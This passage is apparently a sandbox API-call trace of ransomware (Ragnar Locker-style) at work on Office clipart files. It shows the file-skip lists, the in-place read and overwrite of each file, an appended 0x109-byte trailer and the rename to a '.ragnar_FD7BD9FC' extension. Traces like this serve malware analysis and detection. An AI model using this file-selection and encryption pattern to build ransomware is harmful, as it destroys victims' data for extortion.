lpString2="SO00914_.WMF" | out: lpString1="SO00914_.WMF") returned="SO00914_.WMF" [0091.629] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF") returned=".WMF" [0091.629] lstrcmpiW (lpString1="SO00914_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.629] lstrcmpiW (lpString1="SO00914_.WMF", lpString2="autorun.inf") returned 1 [0091.629] lstrcmpiW (lpString1="SO00914_.WMF", lpString2="boot.ini") returned 1 [0091.629] lstrcmpiW (lpString1="SO00914_.WMF", lpString2="bootfont.bin") returned 1 [0091.629] lstrcmpiW (lpString1="SO00914_.WMF", lpString2="bootsect.bak") returned 1 [0091.629] lstrcmpiW (lpString1="SO00914_.WMF", lpString2="bootmgr") returned 1 [0091.629] lstrcmpiW (lpString1="SO00914_.WMF", lpString2="bootmgr.efi") returned 1 [0091.629] lstrcmpiW (lpString1="SO00914_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.629] lstrcmpiW (lpString1="SO00914_.WMF", lpString2="desktop.ini") returned 1 [0091.629] lstrcmpiW (lpString1="SO00914_.WMF", lpString2="iconcache.db") returned 1 [0091.629] lstrcmpiW (lpString1="SO00914_.WMF", lpString2="ntldr") returned 1 [0091.629] lstrcmpiW (lpString1="SO00914_.WMF", lpString2="ntuser.dat") returned 1 [0091.629] lstrcmpiW (lpString1="SO00914_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.629] lstrcmpiW (lpString1="SO00914_.WMF", lpString2="ntuser.ini") returned 1 [0091.629] lstrcmpiW (lpString1="SO00914_.WMF", lpString2="thumbs.db") returned -1 [0091.629] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.629] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.629] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.629] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.629] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.629] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.629] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf")) returned 0x20 [0091.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.630] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6924) returned 1 [0091.630] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b03, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.630] GetProcessHeap () returned 0x580000 [0091.630] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.630] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.631] VirtualAlloc (lpAddress=0x0, dwSize=0x1b0c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.631] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.631] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.631] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1b0c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1b0c, lpOverlapped=0x0) returned 1 [0091.632] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.632] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b0c, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.632] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1b0c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1b0c, lpOverlapped=0x0) returned 1 [0091.632] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b0c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.632] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.633] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b0c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.633] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.633] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.633] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.633] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.633] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.633] GetProcessHeap () returned 0x580000 [0091.633] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.633] CloseHandle (hObject=0xf4) returned 1 [0091.633] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF" [0091.633] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF.ragnar_FD7BD9FC" [0091.633] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.634] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00915_.WMF", cAlternateFileName="")) returned 1 [0091.634] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.634] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00915_.WMF" | out: lpString1="SO00915_.WMF") returned="SO00915_.WMF" [0091.634] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF") returned=".WMF" [0091.634] lstrcmpiW (lpString1="SO00915_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.634] lstrcmpiW (lpString1="SO00915_.WMF", lpString2="autorun.inf") returned 1 [0091.634] lstrcmpiW (lpString1="SO00915_.WMF", lpString2="boot.ini") returned 1 [0091.634] lstrcmpiW (lpString1="SO00915_.WMF", lpString2="bootfont.bin") returned 1 [0091.634] lstrcmpiW (lpString1="SO00915_.WMF", lpString2="bootsect.bak") returned 1 [0091.634] lstrcmpiW (lpString1="SO00915_.WMF", lpString2="bootmgr") returned 1 [0091.634] lstrcmpiW (lpString1="SO00915_.WMF", lpString2="bootmgr.efi") returned 1 [0091.634] lstrcmpiW (lpString1="SO00915_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.634] lstrcmpiW (lpString1="SO00915_.WMF", lpString2="desktop.ini") returned 1 [0091.634] lstrcmpiW (lpString1="SO00915_.WMF", lpString2="iconcache.db") returned 1 [0091.634] lstrcmpiW (lpString1="SO00915_.WMF", lpString2="ntldr") returned 1 [0091.634] lstrcmpiW (lpString1="SO00915_.WMF", lpString2="ntuser.dat") returned 1 [0091.634] lstrcmpiW (lpString1="SO00915_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.634] lstrcmpiW (lpString1="SO00915_.WMF", lpString2="ntuser.ini") returned 1 [0091.635] lstrcmpiW (lpString1="SO00915_.WMF", lpString2="thumbs.db") returned -1 [0091.635] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.635] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.635] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.635] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.635] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.635] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.635] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf")) returned 0x20 [0091.635] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.635] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7160) returned 1 [0091.635] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1bef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.635] GetProcessHeap () returned 0x580000 [0091.635] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.635] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.637] VirtualAlloc (lpAddress=0x0, dwSize=0x1bf8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.637] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.637] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.637] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1bf8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1bf8, lpOverlapped=0x0) returned 1 [0091.638] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.638] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1bf8, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.638] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1bf8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1bf8, lpOverlapped=0x0) returned 1 [0091.638] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1bf8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.638] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.638] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1bf8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.638] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.638] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.638] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.638] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.638] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.638] GetProcessHeap () returned 0x580000 [0091.639] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.639] CloseHandle (hObject=0xf4) returned 1 [0091.639] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF" [0091.639] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF.ragnar_FD7BD9FC" [0091.639] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.639] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1270, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00916_.WMF", cAlternateFileName="")) returned 1 [0091.639] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.639] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00916_.WMF" | out: lpString1="SO00916_.WMF") returned="SO00916_.WMF" [0091.639] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF") returned=".WMF" [0091.640] lstrcmpiW (lpString1="SO00916_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.640] lstrcmpiW (lpString1="SO00916_.WMF", lpString2="autorun.inf") returned 1 [0091.640] lstrcmpiW (lpString1="SO00916_.WMF", lpString2="boot.ini") returned 1 [0091.640] lstrcmpiW (lpString1="SO00916_.WMF", lpString2="bootfont.bin") returned 1 [0091.640] lstrcmpiW (lpString1="SO00916_.WMF", lpString2="bootsect.bak") returned 1 [0091.640] lstrcmpiW (lpString1="SO00916_.WMF", lpString2="bootmgr") returned 1 [0091.640] lstrcmpiW (lpString1="SO00916_.WMF", lpString2="bootmgr.efi") returned 1 [0091.640] lstrcmpiW (lpString1="SO00916_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.640] lstrcmpiW (lpString1="SO00916_.WMF", lpString2="desktop.ini") returned 1 [0091.640] lstrcmpiW (lpString1="SO00916_.WMF", lpString2="iconcache.db") returned 1 [0091.640] lstrcmpiW (lpString1="SO00916_.WMF", lpString2="ntldr") returned 1 [0091.640] lstrcmpiW (lpString1="SO00916_.WMF", lpString2="ntuser.dat") returned 1 [0091.640] lstrcmpiW (lpString1="SO00916_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.640] lstrcmpiW (lpString1="SO00916_.WMF", lpString2="ntuser.ini") returned 1 [0091.640] lstrcmpiW (lpString1="SO00916_.WMF", lpString2="thumbs.db") returned -1 [0091.640] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.640] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.640] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.640] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.640] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.640] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.640] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.640] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf")) returned 0x20 [0091.640] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.641] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4720) returned 1 [0091.641] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1267, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.641] GetProcessHeap () returned 0x580000 [0091.641] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.641] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.642] VirtualAlloc (lpAddress=0x0, dwSize=0x1270, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.642] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.642] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.642] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1270, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1270, lpOverlapped=0x0) returned 1 [0091.643] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.643] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1270, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.643] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1270, lpOverlapped=0x0) returned 1 [0091.643] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1270, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.643] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.643] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1270, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.643] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.643] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.644] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.644] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.644] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.644] GetProcessHeap () returned 0x580000 [0091.644] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.644] CloseHandle (hObject=0xf4) returned 1 [0091.644] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF" [0091.644] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF.ragnar_FD7BD9FC" [0091.644] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.645] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x25ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00917_.WMF", cAlternateFileName="")) returned 1 [0091.645] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.645] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00917_.WMF" | out: lpString1="SO00917_.WMF") returned="SO00917_.WMF" [0091.645] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF") returned=".WMF" [0091.645] lstrcmpiW (lpString1="SO00917_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.645] lstrcmpiW (lpString1="SO00917_.WMF", lpString2="autorun.inf") returned 1 [0091.645] lstrcmpiW (lpString1="SO00917_.WMF", lpString2="boot.ini") returned 1 [0091.645] lstrcmpiW (lpString1="SO00917_.WMF", lpString2="bootfont.bin") returned 1 [0091.645] lstrcmpiW (lpString1="SO00917_.WMF", lpString2="bootsect.bak") returned 1 [0091.645] lstrcmpiW (lpString1="SO00917_.WMF", lpString2="bootmgr") returned 1 [0091.645] lstrcmpiW (lpString1="SO00917_.WMF", lpString2="bootmgr.efi") returned 1 [0091.645] lstrcmpiW 